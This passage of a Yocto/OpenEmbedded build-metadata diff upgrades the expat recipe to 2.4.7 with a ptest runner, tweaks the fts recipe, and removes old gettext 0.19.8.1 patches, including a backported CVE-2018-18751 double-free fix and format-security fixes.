+SRC_URI[sha256sum] = "a7ff8ecbc76b187d942dd22b61cb489711400897c790319ffb7e944791687c3f"
+
+do_configure:prepend () {
+ mkdir -p ${S}/build-aux
+}
diff --git a/meta/recipes-core/expat/expat/libtool-tag.patch b/meta/recipes-core/expat/expat/libtool-tag.patch
deleted file mode 100644
index 0a0aed23e5..0000000000
--- a/meta/recipes-core/expat/expat/libtool-tag.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 10342e6b600858b091bc7771e454d9e06af06410 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 2 Nov 2017 18:20:57 +0800
-Subject: [PATCH] Add CC tag to build
-
-Add CC tag to build
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- Makefile.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/Makefile.in b/Makefile.in
-index 9560a95..d444bd6 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -319,7 +319,7 @@ LIBCURRENT = @LIBCURRENT@
- LIBOBJS = @LIBOBJS@
- LIBREVISION = @LIBREVISION@
- LIBS = @LIBS@
--LIBTOOL = @LIBTOOL@
-+LIBTOOL = @LIBTOOL@ --tag CC
- LIPO = @LIPO@
- LN_S = @LN_S@
- LTLIBOBJS = @LTLIBOBJS@
---
-2.7.4
-
diff --git a/meta/recipes-core/expat/expat/run-ptest b/meta/recipes-core/expat/expat/run-ptest
new file mode 100644
index 0000000000..dbf602ca80
--- /dev/null
+++ b/meta/recipes-core/expat/expat/run-ptest
@@ -0,0 +1,9 @@
+#!/bin/bash
+
+TIME=$(which time)
+
+echo "runtests"
+${TIME} -f 'Execution time: %e s' bash -c "./runtests -v"
+echo "runtestspp"
+${TIME} -f 'Execution time: %e s' bash -c "./runtestspp -v"
+echo
diff --git a/meta/recipes-core/expat/expat_2.2.9.bb b/meta/recipes-core/expat/expat_2.2.9.bb
deleted file mode 100644
index 8f3db41352..0000000000
--- a/meta/recipes-core/expat/expat_2.2.9.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "A stream-oriented XML parser library"
-DESCRIPTION = "Expat is an XML parser library written in C. It is a stream-oriented parser in which an application registers handlers for things the parser might find in the XML document (like start tags)"
-HOMEPAGE = "http://expat.sourceforge.net/"
-SECTION = "libs"
-LICENSE = "MIT"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=5b8620d98e49772d95fc1d291c26aa79"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/expat/expat-${PV}.tar.bz2 \
- file://libtool-tag.patch \
- "
-
-SRC_URI[md5sum] = "875a2c2ff3e8eb9e5a5cd62db2033ab5"
-SRC_URI[sha256sum] = "f1063084dc4302a427dabcca499c8312b3a32a29b7d2506653ecc8f950a9a237"
-
-inherit autotools lib_package
-
-do_configure_prepend () {
- rm -f ${S}/conftools/libtool.m4
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/expat/expat_2.4.7.bb b/meta/recipes-core/expat/expat_2.4.7.bb
new file mode 100644
index 0000000000..bf1ca8d56e
--- /dev/null
+++ b/meta/recipes-core/expat/expat_2.4.7.bb
@@ -0,0 +1,31 @@
+SUMMARY = "A stream-oriented XML parser library"
+DESCRIPTION = "Expat is an XML parser library written in C. It is a stream-oriented parser in which an application registers handlers for things the parser might find in the XML document (like start tags)"
+HOMEPAGE = "https://github.com/libexpat/libexpat"
+SECTION = "libs"
+LICENSE = "MIT"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=9e2ce3b3c4c0f2670883a23bbd7c37a9"
+
+VERSION_TAG = "${@d.getVar('PV').replace('.', '_')}"
+
+SRC_URI = "https://github.com/libexpat/libexpat/releases/download/R_${VERSION_TAG}/expat-${PV}.tar.bz2 \
+ file://run-ptest \
+ "
+
+UPSTREAM_CHECK_URI = "https://github.com/libexpat/libexpat/releases/"
+
+SRC_URI[sha256sum] = "e149bdd8b90254c62b3d195da53a09bd531a4d63a963b0d8a5268d48dd2f6a65"
+
+EXTRA_OECMAKE:class-native += "-DEXPAT_BUILD_DOCS=OFF"
+
+RDEPENDS:${PN}-ptest += "bash"
+
+inherit cmake lib_package ptest
+
+do_install_ptest:class-target() {
+ install -m 755 ${B}/tests/* ${D}${PTEST_PATH}
+}
+
+BBCLASSEXTEND += "native nativesdk"
+
+CVE_PRODUCT = "expat libexpat"
diff --git a/meta/recipes-core/fts/fts_1.2.7.bb b/meta/recipes-core/fts/fts_1.2.7.bb
index 589ae0e916..d3b0f31eda 100644
--- a/meta/recipes-core/fts/fts_1.2.7.bb
+++ b/meta/recipes-core/fts/fts_1.2.7.bb
@@ -3,13 +3,14 @@
SUMMARY = "Implementation of ftsfor musl libc packages"
HOMEPAGE = "https://github.com/pullmoll/musl-fts"
+DESCRIPTION = "The musl-fts package implements the fts(3) functions fts_open, fts_read, fts_children, fts_set and fts_close, which are missing in musl libc."
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=5ffe358174aad383f1b69ce3b53da982"
SECTION = "libs"
SRCREV = "0bde52df588e8969879a2cae51c3a4774ec62472"
-SRC_URI = "git://github.com/pullmoll/musl-fts.git"
+SRC_URI = "git://github.com/pullmoll/musl-fts.git;branch=master;protocol=https"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-core/gettext/gettext-0.19.8.1/add-with-bisonlocaledir.patch b/meta/recipes-core/gettext/gettext-0.19.8.1/add-with-bisonlocaledir.patch
deleted file mode 100644
index 35a131067a..0000000000
--- a/meta/recipes-core/gettext/gettext-0.19.8.1/add-with-bisonlocaledir.patch
+++ /dev/null
@@ -1,58 +0,0 @@
-From 04bd40fe2c48c6e01ab418a04d27c4aff644ad96 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Wed, 17 Feb 2016 23:54:02 -0500
-Subject: [PATCH] m4/bison-i18n.m4: add --with-bisonlocaledir to assign
- BISON_LOCALEDIR
-
-The variable BISON_LOCALEDIR is assigned only by the output of
-'bison --print-localedir', we add option --with-bisonlocaledir
-to assign it explicitly. It is helpful for user to split the
-native compile and cross compile.
-
-For backward compatibility, if option not used, it still
-make use of the output of 'bison --print-localedir'.
-
-Upstream-Status: Submitted [bison-patches@gnu.org]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- gettext-tools/gnulib-m4/bison-i18n.m4 | 10 ++++++++--
- 1 file changed, 8 insertions(+), 2 deletions(-)
-
-diff --git a/gettext-tools/gnulib-m4/bison-i18n.m4 b/gettext-tools/gnulib-m4/bison-i18n.m4
-index f5cfd3a..fb6ac4d 100644
---- a/gettext-tools/gnulib-m4/bison-i18n.m4
-+++ b/gettext-tools/gnulib-m4/bison-i18n.m4
-@@ -14,11 +14,16 @@ dnl sets BISON_LOCALEDIR to indicate where to find the bison-runtime.mo files
- dnl and defines YYENABLE_NLS if there are bison-runtime.mo files at all.
- AC_DEFUN([BISON_I18N],
- [
-+ dnl Default is not to set bisonlocaledir
-+ AC_ARG_WITH([bisonlocaledir],
-+ [ --with-bisonlocaledir sets BISON_LOCALEDIR to indicate where to find the bison-runtime.mo files],
-+ BISON_LOCALEDIR=$withval,
-+ BISON_LOCALEDIR=)
-+
- if test -z "$USE_NLS"; then
- echo "The BISON-I18N macro is used without being preceded by AM-GNU-GETTEXT." 1>&2
- exit 1
- fi
-- BISON_LOCALEDIR=
- BISON_USE_NLS=no
- if test "$USE_NLS" = yes; then
- dnl Determine bison's localedir.
-@@ -26,9 +31,10 @@ AC_DEFUN([BISON_I18N],
- dnl But even is YACC is called "yacc", it may be a script that invokes bison
- dnl and accepts the --print-localedir option.
- dnl YACC's default value is empty; BISON's default value is :.
-- if (${YACC-${BISON-:}} --print-localedir) >/dev/null 2>&1; then
-+ if test -z "$BISON_LOCALEDIR" -a ${YACC-${BISON-:}} --print-localedir >/dev/null 2>&1; then
- BISON_LOCALEDIR=`${YACC-${BISON-:}} --print-localedir`
- fi
-+ AC_MSG_RESULT([$BISON_LOCALEDIR])
- AC_SUBST([BISON_LOCALEDIR])
- if test -n "$BISON_LOCALEDIR"; then
- dnl There is no need to enable internationalization if the user doesn't
---
-1.9.1
-
diff --git a/meta/recipes-core/gettext/gettext-0.19.8.1/cr-statement.c-timsort.h-fix-formatting-issues.patch b/meta/recipes-core/gettext/gettext-0.19.8.1/cr-statement.c-timsort.h-fix-formatting-issues.patch
deleted file mode 100644
index 6af1604198..0000000000
--- a/meta/recipes-core/gettext/gettext-0.19.8.1/cr-statement.c-timsort.h-fix-formatting-issues.patch
+++ /dev/null
@@ -1,87 +0,0 @@
-From e546de65a333789e83f5485757967cee29ee3681 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Sun, 19 Feb 2017 23:32:46 -0800
-Subject: [PATCH] cr-statement.c/timsort.h: fix formatting issues
-
-Fixed when compile with "-Wformat -Wformat-security -Werror=format-security":
-| gettext-tools/gnulib-lib/libcroco/cr-statement.c: In function 'cr_statement_dump_charset':
-| gettext-tools/gnulib-lib/libcroco/cr-statement.c:2661:17: error: format not a string literal and no format arguments [-Werror=format-security]
-| fprintf (a_fp, str) ;
-
-And:
-gettext-tools/gnulib-lib/libxml/timsort.h:326:80: warning: format '%lu' expects argument of type 'long unsigned int', but argument 3 has type 'unsigned int' [-Wformat=]
- fprintf(stderr, "Error allocating temporary storage for tim sort: need %lu bytes", sizeof(SORT_TYPE) * new_size);
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- gettext-tools/gnulib-lib/libcroco/cr-statement.c | 10 +++++-----
- gettext-tools/gnulib-lib/libxml/timsort.h | 2 +-
- 2 files changed, 6 insertions(+), 6 deletions(-)
-
-diff --git a/gettext-tools/gnulib-lib/libcroco/cr-statement.c b/gettext-tools/gnulib-lib/libcroco/cr-statement.c
-index 617520f..100104b 100644
---- a/gettext-tools/gnulib-lib/libcroco/cr-statement.c
-+++ b/gettext-tools/gnulib-lib/libcroco/cr-statement.c
-@@ -2607,7 +2607,7 @@ cr_statement_dump_ruleset (CRStatement * a_this, FILE * a_fp, glong a_indent)
- g_return_if_fail (a_fp && a_this);
- str = cr_statement_ruleset_to_string (a_this, a_indent);
- if (str) {
-- fprintf (a_fp, str);
-+ fprintf (a_fp, "%s", str);
- g_free (str);
- str = NULL;
- }
-@@ -2658,7 +2658,7 @@ cr_statement_dump_charset (CRStatement * a_this, FILE * a_fp, gulong a_indent)
- str = cr_statement_charset_to_string (a_this,
- a_indent) ;
- if (str) {
-- fprintf (a_fp, str) ;
-+ fprintf (a_fp, "%s", str) ;
- g_free (str) ;
- str = NULL ;
- }
-@@ -2685,7 +2685,7 @@ cr_statement_dump_page (CRStatement * a_this, FILE * a_fp, gulong a_indent)
-
- str = cr_statement_at_page_rule_to_string (a_this, a_indent) ;
- if (str) {
-- fprintf (a_fp, str);
-+ fprintf (a_fp, "%s", str);
- g_free (str) ;
- str = NULL ;
- }
-@@ -2711,7 +2711,7 @@ cr_statement_dump_media_rule (CRStatement * a_this,
-
- str = cr_statement_media_rule_to_string (a_this, a_indent) ;
- if (str) {
-- fprintf (a_fp, str) ;
-+ fprintf (a_fp, "%s", str) ;
- g_free (str) ;
- str = NULL ;
- }
-@@ -2737,7 +2737,7 @@ cr_statement_dump_import_rule (CRStatement * a_this, FILE * a_fp,
-
- str = cr_statement_import_rule_to_string (a_this, a_indent) ;
- if (str) {
-- fprintf (a_fp, str) ;
-+ fprintf (a_fp, "%s", str) ;
- g_free (str) ;
- str = NULL ;
- }
-diff --git a/gettext-tools/gnulib-lib/libxml/timsort.h b/gettext-tools/gnulib-lib/libxml/timsort.h
-index 795f272..443918a 100644
---- a/gettext-tools/gnulib-lib/libxml/timsort.h
-+++ b/gettext-tools/gnulib-lib/libxml/timsort.h
-@@ -323,7 +323,7 @@ static void TIM_SORT_RESIZE(TEMP_STORAGE_T *store, const size_t new_size)
- SORT_TYPE *tempstore = (SORT_TYPE *)realloc(store->storage, new_size * sizeof(SORT_TYPE));
- if (tempstore == NULL)
- {
-- fprintf(stderr, "Error allocating temporary storage for tim sort: need %lu bytes", sizeof(SORT_TYPE) * new_size);
-+ fprintf(stderr, "Error allocating temporary storage for tim sort: need %zu bytes", sizeof(SORT_TYPE) * new_size);
- exit(1);
- }
- store->storage = tempstore;
---
-2.10.2
-
diff --git a/meta/recipes-core/gettext/gettext-0.19.8.1/fix-CVE-2018-18751.patch b/meta/recipes-core/gettext/gettext-0.19.8.1/fix-CVE-2018-18751.patch
deleted file mode 100644
index 6dfe200d65..0000000000
--- a/meta/recipes-core/gettext/gettext-0.19.8.1/fix-CVE-2018-18751.patch
+++ /dev/null
@@ -1,141 +0,0 @@
-Upstream-Status: Backport [https://git.savannah.gnu.org/gitweb/?p=gettext.git;a=commit;h=dce3a16]
-CVE: CVE-2018-18751
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-From dce3a16e5e9368245735e29bf498dcd5e3e474a4 Mon Sep 17 00:00:00 2001
-From: Daiki Ueno <ueno@gnu.org>
-Date: Thu, 15 Sep 2016 13:57:24 +0200
-Subject: [PATCH] xgettext: Fix crash with *.po file input
-
-When xgettext was given two *.po files with the same msgid_plural, it
-crashed with double-free. Problem reported by Davlet Panech in:
-http://lists.gnu.org/archive/html/bug-gettext/2016-09/msg00001.html
-* gettext-tools/src/po-gram-gen.y: Don't free msgid_pluralform after
-calling do_callback_message, assuming that it takes ownership.
-* gettext-tools/src/read-catalog.c (default_add_message): Free
-msgid_plural after calling message_alloc.
-* gettext-tools/tests/xgettext-po-2: New file.
-* gettext-tools/tests/Makefile.am (TESTS): Add new test.
----
- gettext-tools/src/po-gram-gen.y | 13 ++++-----
- gettext-tools/src/read-catalog.c | 2 ++
- gettext-tools/tests/Makefile.am | 2 +-
- gettext-tools/tests/xgettext-po-2 | 55 +++++++++++++++++++++++++++++++++++++++
- 4 files changed, 63 insertions(+), 9 deletions(-)
- create mode 100755 gettext-tools/tests/xgettext-po-2
-
-diff --git a/gettext-tools/src/po-gram-gen.y b/gettext-tools/src/po-gram-gen.y
-index becf5e6..4428e77 100644
---- a/gettext-tools/src/po-gram-gen.y
-+++ b/gettext-tools/src/po-gram-gen.y
-@@ -221,14 +221,11 @@ message
- check_obsolete ($1, $3);
- check_obsolete ($1, $4);
- if (!$1.obsolete || pass_obsolete_entries)
-- {
-- do_callback_message ($1.ctxt, string2, &$1.pos, $3.string,
-- $4.rhs.msgstr, $4.rhs.msgstr_len, &$4.pos,
-- $1.prev_ctxt,
-- $1.prev_id, $1.prev_id_plural,
-- $1.obsolete);
-- free ($3.string);
-- }
-+ do_callback_message ($1.ctxt, string2, &$1.pos, $3.string,
-+ $4.rhs.msgstr, $4.rhs.msgstr_len, &$4.pos,
-+ $1.prev_ctxt,
-+ $1.prev_id, $1.prev_id_plural,
-+ $1.obsolete);
- else
- {
- free_message_intro ($1);
-diff --git a/gettext-tools/src/read-catalog.c b/gettext-tools/src/read-catalog.c
-index 571d18e..6af6d20 100644
---- a/gettext-tools/src/read-catalog.c
-+++ b/gettext-tools/src/read-catalog.c
-@@ -397,6 +397,8 @@ default_add_message (default_catalog_reader_ty *this,
- appropriate. */
- mp = message_alloc (msgctxt, msgid, msgid_plural, msgstr, msgstr_len,
- msgstr_pos);
-+ if (msgid_plural != NULL)
-+ free (msgid_plural);
- mp->prev_msgctxt = prev_msgctxt;
- mp->prev_msgid = prev_msgid;
- mp->prev_msgid_plural = prev_msgid_plural;
-diff --git a/gettext-tools/tests/Makefile.am b/gettext-tools/tests/Makefile.am
-index 23b09b1..0dfb4d8 100644
---- a/gettext-tools/tests/Makefile.am
-+++ b/gettext-tools/tests/Makefile.am
-@@ -95,7 +95,7 @@ TESTS = gettext-1 gettext-2 gettext-3 gettext-4 gettext-5 gettext-6 gettext-7 \
- xgettext-perl-1 xgettext-perl-2 xgettext-perl-3 xgettext-perl-4 \
- xgettext-perl-5 xgettext-perl-6 xgettext-perl-7 xgettext-perl-8 \
- xgettext-php-1 xgettext-php-2 xgettext-php-3 xgettext-php-4 \
-- xgettext-po-1 \
-+ xgettext-po-1 xgettext-po-2 \
- xgettext-properties-1 \
- xgettext-python-1 xgettext-python-2 xgettext-python-3 \
- xgettext-python-4 \
-diff --git a/gettext-tools/tests/xgettext-po-2 b/gettext-tools/tests/xgettext-po-2
-new file mode 100755
-index 0000000..c4bd9d0
---- /dev/null
-+++ b/gettext-tools/tests/xgettext-po-2
-@@ -0,0 +1,55 @@
-+#! /bin/sh
-+. "${srcdir=.}/init.sh"; path_prepend_ . ../src
-+
-+# Test PO extractors with multiple input files.
-+
-+cat <<EOF > xg-po-2-1.po
-+msgid "first msgid"
-+msgid_plural "first msgid (plural)"
-+msgstr[0] ""
-+msgstr[1] ""
-+
-+msgid "second msgid"
-+msgid_plural "second msgid (plural)"
-+msgstr[0] ""
-+msgstr[1] ""
-+EOF
-+
-+cat <<EOF > xg-po-2-2.po
-+msgid "third msgid"
-+msgid_plural "third msgid (plural)"
-+msgstr[0] ""
-+msgstr[1] ""
-+
-+msgid "second msgid"
-+msgid_plural "second msgid (plural)"
-+msgstr[0] ""
-+msgstr[1] ""
-+EOF
-+
-+: ${XGETTEXT=xgettext}
-+${XGETTEXT} --omit-header xg-po-2-1.po xg-po-2-2.po -o xg-po-2.tmp.po || Exit 1
-+LC_ALL=C tr -d '\r' < xg-po-2.tmp.po > xg-po-2.po || Exit 1
-+
-+cat <<EOF > xg-po-2.ok
-+msgid "first msgid"
-+msgid_plural "first msgid (plural)"
-+msgstr[0] ""
-+msgstr[1] ""
-+
-+msgid "second msgid"
-+msgid_plural "second msgid (plural)"
-+msgstr[0] ""
-+msgstr[1] ""
-+
-+msgid "third msgid"
-+msgid_plural "third msgid (plural)"
-+msgstr[0] ""
-+msgstr[1] ""
-+EOF
-+
-+: ${DIFF=diff}
-+${DIFF} xg-po-2.ok xg-po-2.po
-+result=$?
-+
-+exit $result
---
-1.9.1
-
diff --git a/meta/recipes-core/gettext/gettext-0.19.8.1/parallel.patch b/meta/recipes-core/gettext/gettext-0.19.8.1/parallel.patch
deleted file mode 100644
index c8e2c94af0..0000000000
--- a/meta/recipes-core/gettext/gettext-0.19.8.1/parallel.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-instal libgettextlib.a before removing it
-
-In a multiple job build, Makefile can simultaneously
-be installing and removing libgettextlib.a. We serialize
-the operations.
-
-Upstream-Status: Pending
-
-Signed-off-by: Joe Slater <jslater@windriver.com>
-
---- a/gettext-tools/gnulib-lib/Makefile.am
-+++ b/gettext-tools/gnulib-lib/Makefile.am
-@@ -57,6 +57,10 @@ endif
- # Rules generated and collected by gnulib-tool.
- include Makefile.gnulib
-
-+# defined in Makefile.gnulib but missing this dependency
-+#
-+install-exec-clean: install-libLTLIBRARIES
-+
- # Which classes to export from the shared library.
- MOOPPFLAGS += --dllexport=styled_ostream
-
diff --git a/meta/recipes-core/gettext/gettext-0.19.8.1/use-pkgconfig.patch b/meta/recipes-core/gettext/gettext-0.19.8.1/use-pkgconfig.patch
deleted file mode 100644
index 6156a153f7..0000000000
--- a/meta/recipes-core/gettext/gettext-0.19.8.1/use-pkgconfig.patch
+++ /dev/null
@@ -1,321 +0,0 @@
-For reasons which I just can't fathom gnulib doesn't use the expected tools to
-find libraries but badly reinvents the wheel. This will trivially lead to host
-contamination (explicit searches of /usr/lib) or incorrect RPATHs (bad
-canonicalisation resulting in relative paths).
-
-Simply delete all the crazy, and replace with a single call to pkg-config.
-
-Upstream-Status: Inappropriate (upstream still refuse to consider pkg-config)
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/gnulib-local/m4/libcroco.m4 b/gnulib-local/m4/libcroco.m4
-index f79ea82f1..1f67274db 100644
---- a/gettext-tools/gnulib-m4/libcroco.m4
-+++ b/gettext-tools/gnulib-m4/libcroco.m4
-@@ -8,6 +8,7 @@ dnl From Bruno Haible.
-
- AC_DEFUN([gl_LIBCROCO],
- [
-+ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
- dnl libcroco depends on libglib.
- AC_REQUIRE([gl_LIBGLIB])
-
-@@ -23,65 +24,10 @@ AC_DEFUN([gl_LIBCROCO],
- LTLIBCROCO=
- INCCROCO=
- if test "$gl_cv_libcroco_use_included" != yes; then
-- dnl Figure out whether we can use a preinstalled libcroco-0.6, or have to
-- dnl use the included one.
-- AC_CACHE_VAL([gl_cv_libcroco], [
-- gl_cv_libcroco=no
-- gl_cv_LIBCROCO=
-- gl_cv_LTLIBCROCO=
-- gl_cv_INCCROCO=
-- gl_save_LIBS="$LIBS"
-- dnl Search for libcroco and define LIBCROCO_0_6, LTLIBCROCO_0_6 and
-- dnl INCCROCO_0_6 accordingly.
-- dnl Don't use croco-0.6-config nor pkg-config, since it doesn't work when
-- dnl cross-compiling or when the C compiler in use is different from the
-- dnl one that built the library.
-- AC_LIB_LINKFLAGS_BODY([croco-0.6], [glib-2.0])
-- LIBS="$gl_save_LIBS $LIBCROCO_0_6"
-- AC_TRY_LINK([#include <libcroco-config.h>],
-- [const char *version = LIBCROCO_VERSION; return !version;],
-- [gl_cv_libcroco=yes
-- gl_cv_LIBCROCO="$LIBCROCO_0_6"
-- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
-- ])
-- if test "$gl_cv_libcroco" != yes; then
-- gl_save_CPPFLAGS="$CPPFLAGS"
-- CPPFLAGS="$CPPFLAGS $INCCROCO_0_6"
-- AC_TRY_LINK([#include <libcroco-config.h>],
-- [const char *version = LIBCROCO_VERSION; return !version;],
-- [gl_cv_libcroco=yes
-- gl_cv_LIBCROCO="$LIBCROCO_0_6"
-- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
-- gl_cv_INCCROCO="$INCCROCO_0_6"
-- ])
-- if test "$gl_cv_libcroco" != yes; then
-- dnl Often the include files are installed in
-- dnl /usr/include/libcroco-0.6/libcroco.
-- AC_TRY_LINK([#include <libcroco-0.6/libcroco/libcroco-config.h>],
-- [const char *version = LIBCROCO_VERSION; return !version;],
-- [gl_ABSOLUTE_HEADER([libcroco-0.6/libcroco/libcroco-config.h])
-- libcroco_include_dir=`echo "$gl_cv_absolute_libcroco_0_6_libcroco_libcroco_config_h" | sed -e 's,.libcroco-config\.h$,,'`
-- if test -d "$libcroco_include_dir"; then
-- gl_cv_libcroco=yes
-- gl_cv_LIBCROCO="$LIBCROCO_0_6"
-- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
-- gl_cv_INCCROCO="-I$libcroco_include_dir"
-- fi
-- ])
-- fi
-- CPPFLAGS="$gl_save_CPPFLAGS"
-- fi
-- LIBS="$gl_save_LIBS"
-- ])
-- AC_MSG_CHECKING([for libcroco])
-- AC_MSG_RESULT([$gl_cv_libcroco])
-- if test $gl_cv_libcroco = yes; then
-- LIBCROCO="$gl_cv_LIBCROCO"
-- LTLIBCROCO="$gl_cv_LTLIBCROCO"
-- INCCROCO="$gl_cv_INCCROCO"
-- else
-- gl_cv_libcroco_use_included=yes
-- fi
-+ PKG_CHECK_MODULES([CROCO], [libcroco-0.6])
-+ LIBCROCO=$CROCO_LIBS
-+ LTLIBCROCO=$CROCO_LIBS
-+ INCCROCO=$CROCO_CFLAGS
- fi
- AC_SUBST([LIBCROCO])
- AC_SUBST([LTLIBCROCO])
-diff --git a/gnulib-local/m4/libglib.m4 b/gnulib-local/m4/libglib.m4
-index 42e55e6fd..ab25a5b22 100644
---- a/gettext-tools/gnulib-m4/libglib.m4
-+++ b/gettext-tools/gnulib-m4/libglib.m4
-@@ -8,6 +8,7 @@ dnl From Bruno Haible.
-
- AC_DEFUN([gl_LIBGLIB],
- [
-+ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
- AC_MSG_CHECKING([whether included glib is requested])
- AC_ARG_WITH([included-glib],
- [ --with-included-glib use the glib2 included here],
-@@ -20,76 +21,10 @@ AC_DEFUN([gl_LIBGLIB],
- LTLIBGLIB=
- INCGLIB=
- if test "$gl_cv_libglib_use_included" != yes; then
-- dnl Figure out whether we can use a preinstalled libglib-2.0, or have to use
-- dnl the included one.
-- AC_CACHE_VAL([gl_cv_libglib], [
-- gl_cv_libglib=no
-- gl_cv_LIBGLIB=
-- gl_cv_LTLIBGLIB=
-- gl_cv_INCGLIB=
-- gl_save_LIBS="$LIBS"
-- dnl Search for libglib2 and define LIBGLIB_2_0, LTLIBGLIB_2_0 and
-- dnl INCGLIB_2_0 accordingly.
-- dnl Don't use glib-config nor pkg-config, since it doesn't work when
-- dnl cross-compiling or when the C compiler in use is different from the
-- dnl one that built the library.
-- AC_LIB_LINKFLAGS_BODY([glib-2.0])
-- LIBS="$gl_save_LIBS $LIBGLIB_2_0"
-- AC_TRY_LINK([#include <glib.h>
--#ifndef G_BEGIN_DECLS
--error this glib.h includes a glibconfig.h from a glib version 1.x
--#endif
--],
-- [g_string_new ("foo");],
-- [gl_cv_libglib=yes
-- gl_cv_LIBGLIB="$LIBGLIB_2_0"
-- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
-- ])
-- if test "$gl_cv_libglib" != yes; then
-- gl_save_CPPFLAGS="$CPPFLAGS"
-- CPPFLAGS="$CPPFLAGS $INCGLIB_2_0"
-- AC_TRY_LINK([#include <glib.h>
--#ifndef G_BEGIN_DECLS
--error this glib.h includes a glibconfig.h from a glib version 1.x
--#endif
--],
-- [g_string_new ("foo");],
-- [gl_cv_libglib=yes
-- gl_cv_LIBGLIB="$LIBGLIB_2_0"
-- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
-- gl_cv_INCGLIB="$INCGLIB_2_0"
-- ])
-- if test "$gl_cv_libglib" != yes; then
-- dnl Often the include files are installed in /usr/include/glib-2.0
-- dnl and /usr/lib/glib-2.0/include.
-- if test -n "$LIBGLIB_2_0_PREFIX"; then
-- CPPFLAGS="$gl_save_CPPFLAGS -I$LIBGLIB_2_0_PREFIX/include/glib-2.0 -I$LIBGLIB_2_0_PREFIX/$acl_libdirstem/glib-2.0/include"
-- AC_TRY_LINK([#include <glib.h>
--#ifndef G_BEGIN_DECLS
--error this glib.h includes a glibconfig.h from a glib version 1.x
--#endif
--],
-- [g_string_new ("foo");],
-- [gl_cv_libglib=yes
-- gl_cv_LIBGLIB="$LIBGLIB_2_0"
-- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
-- gl_cv_INCGLIB="-I$LIBGLIB_2_0_PREFIX/include/glib-2.0 -I$LIBGLIB_2_0_PREFIX/$acl_libdirstem/glib-2.0/include"
-- ])
-- fi
-- fi
-- CPPFLAGS="$gl_save_CPPFLAGS"
-- fi
-- LIBS="$gl_save_LIBS"
-- ])
-- AC_MSG_CHECKING([for glib])
-- AC_MSG_RESULT([$gl_cv_libglib])
-- if test $gl_cv_libglib = yes; then
-- LIBGLIB="$gl_cv_LIBGLIB"
-- LTLIBGLIB="$gl_cv_LTLIBGLIB"
-- INCGLIB="$gl_cv_INCGLIB"
-- else
-- gl_cv_libglib_use_included=yes
-- fi
-+ PKG_CHECK_MODULES([GLIB], [glib-2.0])
-+ LIBGLIB="$GLIB_LIBS"
-+ LTLIBGLIB="$GLIB_LIBS"
-+ INCGLIB="$GLIB_CFLAGS"
- fi
- AC_SUBST([LIBGLIB])
- AC_SUBST([LTLIBGLIB])
-diff --git a/gnulib-local/m4/libxml.m4 b/gnulib-local/m4/libxml.m4
-index 480c700d2..cb39309d5 100644
---- a/gettext-tools/gnulib-m4/libxml.m4
-+++ b/gettext-tools/gnulib-m4/libxml.m4
-@@ -8,6 +8,7 @@ dnl From Bruno Haible.
-
- AC_DEFUN([gl_LIBXML],
- [
-+ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
- AC_REQUIRE([AM_ICONV_LINK])
-
- AC_MSG_CHECKING([whether included libxml is requested])
-@@ -22,100 +22,10 @@ AC_DEFUN([gl_LIBXML],
- LTLIBXML=
- INCXML=
- if test "$gl_cv_libxml_use_included" != yes; then
-- dnl Figure out whether we can use a preinstalled libxml2, or have to use
-- dnl the included one.
-- AC_CACHE_VAL([gl_cv_libxml], [
-- gl_cv_libxml=no
-- gl_cv_LIBXML=
-- gl_cv_LTLIBXML=
-- gl_cv_INCXML=
-- gl_save_LIBS="$LIBS"
-- LIBS="$LIBS $LIBICONV"
-- dnl Search for libxml2 and define LIBXML2, LTLIBXML2 and INCXML2
-- dnl accordingly.
-- dnl Don't use xml2-config nor pkg-config, since it doesn't work when
-- dnl cross-compiling or when the C compiler in use is different from the
-- dnl one that built the library.
-- dnl Use a test program that tries to invoke xmlFree. On Cygwin 1.7.x,
-- dnl libxml2 is built in such a way that uses of xmlFree work fine with
-- dnl -Wl,--enable-auto-import but lead to a link error with
-- dnl -Wl,--disable-auto-import.
-- AC_LIB_LINKFLAGS_BODY([xml2])
-- LIBS="$gl_save_LIBS $LIBXML2 $LIBICONV"
-- AC_TRY_LINK([#include <libxml/xmlversion.h>
-- #include <libxml/xmlmemory.h>
-- #include <libxml/xpath.h>
-- ],
-- [xmlCheckVersion (0);
-- xmlFree ((void *) 0);
-- xmlXPathSetContextNode ((void *)0, (void *)0);
-- ],
-- [gl_cv_libxml=yes
-- gl_cv_LIBXML="$LIBXML2 $LIBICONV"
-- gl_cv_LTLIBXML="$LTLIBXML2 $LTLIBICONV"
-- ])
-- if test "$gl_cv_libxml" != yes; then
-- gl_save_CPPFLAGS="$CPPFLAGS"
-- CPPFLAGS="$CPPFLAGS $INCXML2"
-- AC_TRY_LINK([#include <libxml/xmlversion.h>
